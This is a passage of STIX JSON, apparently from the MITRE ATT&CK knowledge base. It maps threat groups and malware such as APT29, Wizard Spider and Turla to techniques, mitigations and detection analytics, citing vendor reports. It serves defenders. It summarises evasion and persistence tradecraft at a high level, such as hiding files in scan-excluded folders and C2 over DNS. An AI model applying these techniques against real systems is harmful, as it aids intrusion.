2021)","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73af2cc2-699d-4183-b69f-f15b3e8c0494","type":"relationship","created":"2020-06-11T16:18:16.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.654Z","description":"[Avenger](https://attack.mitre.org/software/S0473) has the ability to browse files in directories such as Program Files and the Desktop.(Citation: Trend Micro Tick November 2019) ","relationship_type":"uses","source_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73af9ac3-d637-4b1f-9995-e45cd8cc067d","created":"2021-08-04T19:20:42.093Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne NobleBaron June 2021","description":"Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.","url":"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T17:43:15.524Z","description":"[APT29](https://attack.mitre.org/groups/G0016) used large size files to avoid detection by security solutions with hardcoded size limits.(Citation: SentinelOne NobleBaron June 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73b3f761-2c2d-4ceb-8886-dd0bb0fc7fc4","type":"relationship","created":"2020-03-19T19:09:30.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-01-13T15:56:05.111Z","description":"Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--73b54501-4907-45ec-b64a-4465a2f07a96","created":"2022-02-01T15:08:45.226Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can enumerate Azure AD groups.(Citation: AADInternals Documentation)","modified":"2022-04-13T14:20:21.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73b72b8a-1271-419c-a903-10501749c689","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Outlook Forms","description":"Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.","url":"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"},{"source_name":"Outlook Today Home Page","description":"Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.","url":"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"}]},{"type":"relationship","id":"relationship--73b90f6c-b64d-4b7b-8142-b02f52e8cea1","created":"2023-03-26T15:15:25.351Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T15:15:25.351Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) extracted files from compromised networks.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73baa214-fbe6-477e-9beb-d1a08a6d117f","created":"2020-05-13T13:20:59.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary Hospital Thwarted Ryuk October 2020","description":"Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.","url":"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"},{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.655Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used macros to execute PowerShell scripts to download malware on victim's machines.(Citation: CrowdStrike Grim Spider May 2019) It has also used PowerShell to execute commands and move laterally through a victim network.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73bcd300-467e-4473-9ba7-772ae1c58610","type":"relationship","created":"2021-01-14T20:19:39.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-14T20:19:39.292Z","description":"(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73c503e1-dfa2-4aa4-8fbc-a5118fe96adf","created":"2024-09-23T23:04:24.917Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:04:24.917Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used HTTP, HTTPS and Webdav protocls for C2 communications.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2) ","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73c6ad27-074a-437d-82ec-39592b783160","type":"relationship","created":"2020-03-09T13:13:24.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653","description":"Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.","source_name":"Microsoft Protected View"}],"modified":"2022-03-11T20:14:42.487Z","description":"Ensure all COM alerts and Protected View are enabled.(Citation: Microsoft Protected View)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73cba115-ad81-456f-a52b-54f97f42b218","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:46:55.738Z","description":"Monitor for telemetry that provides context of security software services being disabled or modified. In cloud environments, monitor virtual machine logs for the status of cloud security agents. Spyware and malware remain a serious problem and Microsoft developed security services, Windows Defender and Windows Firewall, to combat this threat. In the event Windows Defender or Windows Firewall is turned off, administrators should correct the issue immediately to prevent the possibility of infection or further infection and investigate to determine if caused by crash or user manipulation.\nNote: Windows Event code 7036 from the System log identifies if a service has stopped or started. This analytic looks for “Windows Defender” or “Windows Firewall” that has stopped.\n\nAnalytic 1 - User Activity from Stopping Windows Defensive Services\n\n(source=\"*WinEventLog:System\" EventCode=\"7036\") ServiceName=\"*Windows Defender*\" OR ServiceName=\"*Windows Firewall*\" AND ServiceName=\"*stopped*\"","relationship_type":"detects","source_ref":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73cdbba5-d2f0-49a4-84fb-b031fda36655","type":"relationship","created":"2020-01-10T18:01:03.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-10T18:01:03.848Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73ce71e3-938e-4f5e-b588-32426e874577","type":"relationship","created":"2019-04-23T15:30:03.144Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2019-04-24T16:39:54.039Z","description":"[China Chopper](https://attack.mitre.org/software/S0020)'s server component can spider authentication portals.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73cead10-011c-4131-a3dd-2858892ba1cb","created":"2024-05-20T20:14:39.837Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:14:39.837Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) used SSH with captured user credentials to move laterally in victim environments.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73d139f6-f976-4a5d-950d-adb2f0f1d242","created":"2024-07-01T20:07:09.003Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:07:09.003Z","description":"Develop and publish policies that define acceptable information to be stored in CRM databases and acceptable handling of customer data. Only store customer information required for business operations. ","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--bbfbb096-6561-4d7d-aa2c-a5ee8e44c696","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73d4dcf0-5c97-4b60-af21-b68182237e15","created":"2023-01-17T21:55:00.593Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T17:06:13.409Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used the SoftPerfect Network Scanner for network scanning.(Citation: Cisco Talos Avos Jun 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73d5e6ab-9d0c-4884-9db0-02033523e61a","type":"relationship","created":"2020-06-16T20:51:13.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.040Z","description":"[RTM](https://attack.mitre.org/software/S0148) can detect if it is running within a sandbox or other virtualized analysis environment.(Citation: Unit42 Redaman January 2019)\t","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73d7126b-3e7a-441c-93e0-9803aec12ca5","type":"relationship","created":"2022-02-09T14:32:47.562Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"modified":"2022-02-09T14:32:47.562Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used an instrumentor script to gather the names of all services running on a victim's system.(Citation: Talos Kimsuky Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--73d8a610-1fe1-40bc-82ba-52129d8c4979","created":"2024-06-26T18:29:06.203Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-26T18:29:06.203Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has placed [LunarWeb](https://attack.mitre.org/software/S1141) install files into directories that are excluded from scanning.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73d8feea-0b53-419a-be1b-5750aa47f2df","type":"relationship","created":"2020-06-18T17:27:09.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-18T17:27:09.323Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has the ability to remove files and folders related to previous infections.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73da57b5-e64f-44ee-85f7-d294c21fb534","type":"relationship","created":"2017-05-31T21:33:27.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-21T00:37:00.414Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware encrypts C2 traffic using RC4 with a hard-coded key.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73db6a54-2270-431b-b7eb-2c5c71389637","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2019-09-16T18:01:16.139Z","description":"[Orz](https://attack.mitre.org/software/S0229) can download files onto the victim.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73ddd025-b313-49cc-8a28-4c3869eb5a16","type":"relationship","created":"2021-07-30T15:49:45.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."},{"source_name":"Bishop Fox Sliver Framework August 2019","url":"https://labs.bishopfox.com/tech-blog/sliver","description":"Kervella, R. (2019, August 4). Cross-platform General Purpose Implant Framework Written in Golang. Retrieved July 30, 2021."},{"source_name":"GitHub Sliver C2 DNS","url":"https://github.com/BishopFox/sliver/wiki/DNS-C2","description":"BishopFox. (n.d.). Sliver DNS C2 . Retrieved September 15, 2021."}],"modified":"2021-10-16T02:15:06.065Z","description":"[Sliver](https://attack.mitre.org/software/S0633) can support C2 communications over DNS.(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Bishop Fox Sliver Framework August 2019)(Citation: GitHub Sliver C2 DNS)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--73e00ae6-71f1-4ad7-861a-f0643b42c2ac","created":"2022-04-07T17:58:45.342Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."},{"source_name":"Uptycs Confucius APT Jan 2021","url":"https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) has been distributed as a malicious attachment within an email.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Confucius APT Jan 2021)","modified":"2022-06-30T20:15:32.702Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73e0604a-2509-43a6-9318-a9494e570363","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Überwachung APT28 Forfiles June 2015","description":"Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.","url":"https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"source_name":"TrendMicro Pawn Storm 2019","url":"https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf","description":"Hacquebord, F. (n.d.). Pawn Storm in 2019 A Year of Scanning and Credential Phishing on High-Profile Targets. Retrieved December 29, 2020."},{"source_name":"Cybersecurity Advisory 